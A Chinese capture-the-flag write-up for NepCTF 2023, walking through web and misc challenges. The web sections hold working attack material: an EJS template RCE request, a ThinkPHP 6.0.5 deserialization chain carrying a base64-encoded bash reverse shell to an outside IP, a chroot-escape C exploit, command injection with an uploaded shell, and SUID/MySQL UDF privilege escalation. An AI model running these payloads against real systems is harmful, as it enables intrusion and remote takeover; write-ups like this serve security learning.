NepCTF2023 Writeup

23 年八月份的比赛现在才想起来这篇没发过,水一下XD

Web

Post Card For You

下载源码,用到了 ejs 模板引擎。
根据文章 https://github.com/aszx87410/blog/issues/139 可知 ejs 存在 rce,源码中不仅渲染参数可控,且存在可以重复创建 ejs 文件避免缓存的接口,满足利用条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
var path = require('path');
const fs = require('fs');
const crypto = require("crypto");

const express = require('express')
const app = express()
const port = 3000

templateDir = path.join(__dirname, 'template');
app.set('view engine', 'ejs'); // 用了 ejs
app.set('template', templateDir);

function sleep(milliSeconds){
var StartTime =new Date().getTime();
let i = 0;
while (new Date().getTime() <StartTime+milliSeconds);

}

app.get('/', function(req, res) {
return res.sendFile('./index.html', {root: __dirname});
});

app.get('/create', function(req, res) {
let uuid;
let name = req.query.name ?? '';
let address = req.query.address ?? '';
let message = req.query.message ?? '';
do {
uuid = crypto.randomUUID();
} while (fs.existsSync(`${templateDir}/${uuid}.ejs`))

try {
if (name != '' && address != '' && message != '') {
let source = ["source", "source1", "source2", "source3"].sort(function(){
return 0.5 - Math.random();
})
fs.readFile(source[0]+".html", 'utf8',function(err, pageContent){
// 这里创建了新的 ejs 文件,避免了上述文章提到的缓存导致的无法触发 rce 的问题
fs.writeFileSync(`${templateDir}/${uuid}.ejs`, pageContent.replace(/--ID--/g, uuid.replace(/-/g, "")));
sleep(2000);
})
} else {
res.status(500).send("Params `name` or `address` or `message` empty");
return;
}
} catch(err) {
res.status(500).send("Failed to write file");
return;
}

return res.redirect(`/page?pageid=${uuid}&name=${name}&address=${address}&message=${message}`);
});

app.get('/page', (req,res) => {
let id = req.query.pageid
if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(id) || !fs.existsSync(`${templateDir}/${id}.ejs`)) {
res.status(404).send("Sorry, no such id")
return;
}
// 渲染参数可控 满足利用条件
res.render(`${templateDir}/${id}.ejs`, req.query);
})

app.listen(port, () => {
console.log(`App listening on port ${port}`)
})

于是构造 payload,首先请求 /create 接口获取 pageid,这里切记不要访问,不然就触发缓存了
pageid
然后用拿到的 pageid 构造 payload,触发 rce
rce
请求如下

1
2
3
4
5
6
7
8
9
10
GET /page?pageid=94dc08c9-4ae0-41d5-9448-041715dd0c09&name=Monring&address=No.1%20Highschool&message=args.shift()&settings[view%20options][client]=true&settings[view%20options][escapeFunction]=(()+%3d>+{})%3breturn+process.mainModule.require("child_process").execSync("cat+/flag").toString() HTTP/1.1
Host: nepctf.1cepeak.cn:31008
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://nepctf.1cepeak.cn:31008/
Upgrade-Insecure-Requests: 1
Content-Length: 13

独步天下-转生成为镜花水月中的王者

拿到靶机 nc 连接,用户 pwn 的权限读不了 flag,需要提权。
后来发现靶机可以出网,传了个 linpeas.sh 上去,扫出来 /bin/nmap 有 suid 权限,下回来逆一下。
nmap-ghidra
可以看到程序先是 setuid(0) setgid(0),然后执行了 system(param)。这里猜测是将程序的参数拼接后当作命令执行(直接执行会提示 ports-alive: not found 也就是作为这个文件的参数),存在参数注入,于是
nmap-elv
成功提权。

独步天下-破除虚妄_探见真实

接上题,提权后查看网络
network
可知存在网段 192.168.200/24,传一个静态链接的 nmap 上去扫一下(https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap)
nmap-result
可知存在机器 192.168.200.1,再次扫描可知开放端口 80 和 82。传一个 npc 端口 p2p 映射到本地
82 是这道题,于是先看 82。打开是一个摄像头后台,右边存在两个可以提交的表单。
第一个表单是 ping,猜测存在命令注入。burp 抓包尝试后可知存在命令注入
command-inject
这里没能直接反弹 shell,但是可以看 app.py 的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from flask import Flask, render_template, request, url_for, redirect
import os
import ctypes
import ctypes.util
import time
os.environ['FLASK_ENV'] = 'production'
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './'

lib_name='./libping.so'
def load_ping_library():
# 加载共享库
mylib = ctypes.CDLL(lib_name)
return mylib

mylib = load_ping_library()

@app.route('/')
def index():
return render_template('index.html')

@app.route('/ping', methods=['POST'])
def ping():
global mylib
ip_address = request.form['ip_address']
result = ctypes.create_string_buffer(4096*2)
mylib.ping(ip_address.encode('utf-8'), result)
return result.value.decode('utf-8')

@app.route('/upload_avatar', methods=['POST'])
def upload_avatar():
# 这里仅限制 X-Forwarded-For 为 127.0.0.1
if request.headers.get('X-Forwarded-For') != '127.0.0.1':
return "You are not allowed to upload files from this IP address." + " Your IP is: " + request.headers.get('X-Forwarded-For')
if 'file' not in request.files:
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return redirect(request.url)
if not allowed_file(file.filename):
return 'Invalid file format. Only PNG files are allowed.'
# 限制文件大小为 5KB
MAX_FILE_SIZE = 5 * 1024
if len(file.read()) > MAX_FILE_SIZE:
return 'File too large. Maximum size is 5KB.'
# 将文件保存到服务器
file.seek(0) # 重置文件读取指针
file.save(os.path.join(app.config['UPLOAD_FOLDER'], 'avatar.png'))
return redirect(url_for('index'))

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'png'

if __name__ == '__main__':
app.run(host='0.0.0.0',port=82,debug=False,use_reloader=False)

第二个表单是上传更新图片的接口,从上面的源码可知指定 X-Forwarded-For 为 127.0.0.1 即可上传文件。这里传一个 python 的 shell
upload-shell
然后从上面提到的 ping 的 rce 处触发反弹 shell
reverse-shell1
于是拿到了 ctfuser 用户的权限。阅读源码 identity.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdint.h>
//gcc -o test1 test1.c -lcrypto -lm -lrt
void init_dir() {
int fd=open("/home/ctf/sandbox/",O_RDONLY);
if(fd<2) {
exit(0);
}
MD5_CTX ctx;
char md5_res[17]="";
char key[100]="NEPCTF_6666";
char sandbox_dir[100]="/home/ctf/sandbox/";
char dir_name[100]="/home/ctf/sandbox/";
FILE *new_pip;
int i;
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
struct rlimit r;
r.rlim_max = r.rlim_cur = 0;
setrlimit(RLIMIT_CORE, &r);
memset(key, 0, sizeof(key));
MD5_Init(&ctx);
MD5_Update(&ctx, key, strlen(key));
MD5_Final(md5_res, &ctx);
for (int i = 0; i < 16; i++)
sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);
char cmd[100];

mkdir(dir_name, 0755);
if (chdir(dir_name)==-1) {
puts("chdir err, exiting\n");
exit(1);
}
sprintf(cmd,"%s%s","chmod 777 ",dir_name);
system(cmd);
mkdir("bin", 0777);
mkdir("lib", 0777);
mkdir("lib64", 0777);
mkdir("lib/x86_64-linux-gnu", 0777);
system("cp /bin/bash bin/sh");
system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");
system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");
system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");
system("cp /lib64/ld-linux-x86-64.so.2 lib64/");
system("cp /bin/bash bin/sh");
if (chroot(".") == -1) {
puts("chroot err, exiting\n");
exit(1);
}
}
void command(int server_socket,int client_socket) {
char buf[0x666];
memset(buf,0,0x666);
write(client_socket,"Tmp-Command:",sizeof("Tmp-Command:"));
read(client_socket, buf, 0x10);
setgid(1001);
setuid(1001);
popen(buf,"w");
}
int get_ip_address(const char *interface_name, char *ip_address) {
int sockfd;
struct ifreq ifr;
// Create a socket
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("Socket creation failed");
return -1;
}
// Set the interface name in the ifreq structure
strncpy(ifr.ifr_name, interface_name, IFNAMSIZ - 1);
ifr.ifr_name[IFNAMSIZ - 1] = '\0';
// Get the IP address using the SIOCGIFADDR ioctl request
if (ioctl(sockfd, SIOCGIFADDR, &ifr) == -1) {
perror("ioctl failed");
close(sockfd);
return -1;
}
close(sockfd);
// Convert the binary IP address to a human-readable string
struct sockaddr_in *addr = (struct sockaddr_in *)&ifr.ifr_addr;
strcpy(ip_address, inet_ntoa(addr->sin_addr));
return 0;
}
int main(int argc, char **argv) {
init_dir();
int flag=1;
// Server setup
int server_socket, client_socket;
struct sockaddr_in server_addr, client_addr;
socklen_t client_len = sizeof(client_addr);
// Create socket
server_socket = socket(AF_INET, SOCK_STREAM, 0);
if (server_socket < 0) {
perror("Socket creation failed");
exit(0);
}
// Set up server address
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(9999);
// Bind socket to address and port
if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("Bind failed");
exit(0);
}
// Listen for incoming connections
if (listen(server_socket, 1) < 0) {
perror("Listen failed");
exit(0);
}
printf("Server is listening on port 9999...\n");
// Accept connection from client
client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
if (client_socket < 0) {
client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
}
char client_ip[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);
printf("Client connected from IP: %s\n", client_ip);
char ip_address[INET_ADDRSTRLEN];
const char *interface_name = "eth0";
if (get_ip_address(interface_name, ip_address) == 0) {
printf("IP address of eth0: %s\n", ip_address);
} else {
printf("Failed to get the IP address of eth0.\n");
}
while(flag) {
if(strcmp(client_ip,ip_address)) {
send(client_socket,"Only nc by localhost!\n",sizeof("Only nc by localhost!\n"),0);
exit(0);
} else {
flag=0;
}
}
command(server_socket,client_socket);
return 0;
}

可知在 eth0 接口的 9999 有一个服务,它创建了一个沙箱,仅接受 eth0 本机 ip 的连接。
在连接到服务后可以在沙箱中以用户 ctf(1001) 执行一条命令,长度限制为 0x10。
由于 /flag_mini 不在沙箱中,无法直接访问到,故不能直接 chmod 777 /flag_mini。
但这里存在一个 int fd=open("/home/ctf/sandbox/",O_RDONLY) chroot 进入沙箱前打开后未关闭的文件描述符,由于父子进程共享文件描述符,故被执行的我们的程序也可以访问这个文件描述符,进而通过这个文件描述符改变 /flag_mini 的权限,于是编写 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>

int main() {
// 这里的 fd=3 是在本地编译后测试出的 /proc/pid/fd/3 -> /home/ctf/sandbox/
int file_fd = openat(3, "../../../flag_mini", O_WRONLY);
if (file_fd != -1) {
if (fchmod(file_fd, 0777) == 0) {
printf("File permission changed successfully.\n");
} else {
perror("Failed to change file permission");
}
close(file_fd);
} else {
perror("Failed to open file");
}

return 0;
}

改变了 /flag_mini 的权限后读取 flag
read-flag

独步天下-破除试炼_加冕成王

接上题没看的 80 端口,一开始以为是空的,后来扫出来 index.php 后才发现不是。
zengcms
根据 title/footer 可知是 ZengCMS,搜索后发现源代码 https://gitee.com/nickbai/ZengCMS ,其中提到
default-pass
使用 admin/123456 成功登录后台 /admin/login.php,这里除了查看一些系统信息外其他的接口都不能用,其中揭示了 thinkphp 的版本
version
thinkphp 6.0.5 想到可以利用反序列化,首先在 gitee.com 下载源码进行分析,搜索一下 unserialize 函数
unserialize
其中 cookie 的 admin_auth_cookie 存在反序列化行为,但 admin_auth_cookie 并不是明文,它进行了 think_encrypt 的加密,其中还提供了 think_decrypt 解密函数。这两个函数都需要 key 参数才能正常工作。而这个参数是存在数据库中的,鉴于之前用初始密码成功登录,我猜测并验证了这里部署的 CMS 使用了默认的 key 进行加密,于是在 gitee.com 下载的源码中找一下 key
key-found
于是有了可以任意加解密 admin_auth_cookie 的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php

function think_decrypt($string, $key = '&%¥#@%&*¥%@*¥#')
{
$ckey_length = 0;
$key = sha1(md5($key));
$string = str_replace(array('-', '_'), array('+', '/'), $string);
$keya = sha1(md5(substr($key, 0, 16)));
$keyb = sha1(md5(substr($key, 16, 16)));
$keyc = $ckey_length ? substr($string, 0, $ckey_length) : '';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = base64_decode(substr($string, $ckey_length));
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}

function think_encrypt($string, $key = '&%¥#@%&*¥%@*¥#', $expiry = 0)
{
$ckey_length = 0;
$key = sha1(md5($key));
$keya = sha1(md5(substr($key, 0, 16)));
$keyb = sha1(md5(substr($key, 16, 16)));
$keyc = $ckey_length ? substr(md5(microtime()), -$ckey_length) : '';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $keyc . str_replace(array('+', '/', '='), array('-', '_', ''), base64_encode($result));
}

然后再找一条 thinkphp 6.0.5 可以用的 pop 链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
namespace think\model\concern{
trait Attribute{
private $data = [7];
}
}

namespace think\view\driver{
class Php{}
}

namespace think{
abstract class Model{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
protected $table;
function __construct($cmd){
$this->lazySave = true;
$this->withEvent = false;
$this->table = new route\Url(new Middleware,new Validate,$cmd);
}
}
class Middleware{
public $request = 2333;
}
class Validate{
protected $type;
function __construct(){
$this->type = [
"getDomainBind" => [new view\driver\Php,'display']
];
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{}
}

namespace think\route{
class Url
{
protected $url = 'a:';
protected $domain;
protected $app;
protected $route;
function __construct($app,$route,$cmd){
$this->domain = $cmd;
$this->app = $app;
$this->route = $route;
}
}
}

namespace{
// bash -c 'bash -i >& /dev/tcp/101.43.22.226/9603 0>&1'
echo base64_encode(serialize(new think\Model\Pivot('<?php system(base64_decode("YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMjIuMjI2Lzk2MDMgMD4mMSc=")) ?>')));
}

然后将结果加密成 admin_auth_cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
function think_encrypt($string, $key = '&%¥#@%&*¥%@*¥#', $expiry = 0)
{
$ckey_length = 0;
$key = sha1(md5($key));
$keya = sha1(md5(substr($key, 0, 16)));
$keyb = sha1(md5(substr($key, 16, 16)));
$keyc = $ckey_length ? substr(md5(microtime()), -$ckey_length) : '';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $keyc . str_replace(array('+', '/', '='), array('-', '_', ''), base64_encode($result));
}

$payload = "TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjQ6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6ODoiACoAdGFibGUiO086MTU6InRoaW5rXHJvdXRlXFVybCI6NDp7czo2OiIAKgB1cmwiO3M6MjoiYToiO3M6OToiACoAZG9tYWluIjtzOjEwNjoiPD9waHAgc3lzdGVtKGJhc2U2NF9kZWNvZGUoIlltRnphQ0F0WXlBblltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDOHhNREV1TkRNdU1qSXVNakkyTHprMk1ETWdNRDRtTVNjPSIpKSA/PiI7czo2OiIAKgBhcHAiO086MTY6InRoaW5rXE1pZGRsZXdhcmUiOjE6e3M6NzoicmVxdWVzdCI7aToyMzMzO31zOjg6IgAqAHJvdXRlIjtPOjE0OiJ0aGlua1xWYWxpZGF0ZSI6MTp7czo3OiIAKgB0eXBlIjthOjE6e3M6MTM6ImdldERvbWFpbkJpbmQiO2E6Mjp7aTowO086MjE6InRoaW5rXHZpZXdcZHJpdmVyXFBocCI6MDp7fWk6MTtzOjc6ImRpc3BsYXkiO319fX1zOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntpOjA7aTo3O319";
var_dump(think_encrypt(base64_decode($payload)));

触发反序列化反弹 shell
reverse-shell2
就拿到了 www-data 的 shell。查看 cms 的数据库配置文件
database
root:456456zxc+123666 可以进入 mysql 服务,由于 /flag 的所有者为 mysql 用户,故这里上传 lib_mysqludf_sys_64.so 打 udf,/flag 为 000 权限,改变权限后读取 flag。
mysql-readflag

ez_java_checkin

发现 rememberMe,https://github.com/safe6Sec/ShiroExp 一把梭
Shiro-allinone
反弹 shell
reverse-shell3
读 /flag 权限不够,需要提权。
靶机可出网,上传 linpeas.sh 跑一下可知 find 具有 suid 权限。
linpeas.sh
这里找一下 GTFOBins
find-suid
可知在 find 具有 SUID 权限时可以提权 shell,于是根据 https://gtfobins.github.io/gtfobins/find/#suid
get-flag2

Misc

与AI共舞的哈夫曼

根据提示,把代码发给 GPT 后得到解密代码
gpt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def decompress(input_file, output_file):
with open(input_file, 'rb') as f:
num_frequencies = ord(f.read(1))
frequencies = {}
for _ in range(num_frequencies):
byte, freq1, freq2, freq3, freq4 = f.read(5)
freq = (freq1 << 24) | (freq2 << 16) | (freq3 << 8) | freq4
frequencies[byte] = freq

root = build_huffman_tree(frequencies)
current_node = root

with open(output_file, 'wb') as out_f:
byte = f.read(1)
while byte:
byte = ord(byte)
for i in range(7, -1, -1):
bit = (byte >> i) & 1
if bit == 0:
current_node = current_node.left
else:
current_node = current_node.right

if current_node.char is not None:
out_f.write(bytes([current_node.char]))
current_node = root
byte = f.read(1)

ConnectedFive

开启靶机连接后玩了一会,发现连成五子后棋盘会出现较为诡异的变化,于是采取了随机下也能赢的策略写了一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import random
import time

from pwn import *
import re

conn = remote('nepctf.1cepeak.cn', 31344)

regexp = re.compile(r'.*?a\sb\sc\sd\s', re.S)


def get_table() -> str:
while True:
content = conn.recvuntil('\n\n'.encode(), timeout=30).decode()
print(content)
if regexp.match(content):
return content
if "{" in content:
print(content)
conn.interactive()


def parse_table() -> list:
table = get_table()
table = table.replace("[", " ").replace("]", " ")
print(table)
lines = [line[3:].replace("\n", "") for line in table.split("\n\t")[1:]]
index_x = ord('a')
index_y = ord('a')
free_positions = []
for line in lines:
for chess in line.split(" "):
if chess not in ["X", "O"]:
free_positions.append(f"{chr(index_x)}{chr(index_y)}")
index_x += 1
index_y += 1
index_x = ord('a')
return free_positions


while True:
try:
# time.sleep(10)
next_place = random.choice(parse_table())
print(f"place: {next_place}")
conn.sendline(next_place.encode())
except:
conn.close()
conn = remote('nepctf.1cepeak.cn', 31344)
# conn.interactive()

经过几轮后得到了 flag
five

你也喜欢三月七么

附件中是加密的一段字符串和加密的 iv,根据提示可知群名在 SHA256 后中可作为 key
SHA256
尝试 AES 解密后可知前 32 位为 key
AES-decrypt
得到一个图片链接
unknown-encode
根据题目介绍背景提示找到星穹铁道中文字的字母表 https://github.com/SpeedyOrc-C/HoYo-Glyphs/releases/tag/Alphabet-20230630
alphabet
对照抄下 flag
starrail

小叮弹钢琴

midi 导入 Ableton Live,观察
morse
前半部分是摩斯密码
morse-code
YOU SHOULD USE THIS TO XOR SOMETHING 提示用这段字符串进行异或
hex
后半部分为 hex ,使用 youshouldusethistoxorsomething 进行异或
xor-result

赛后

goods
nepnepnepnepnepnepnepnepnep🥰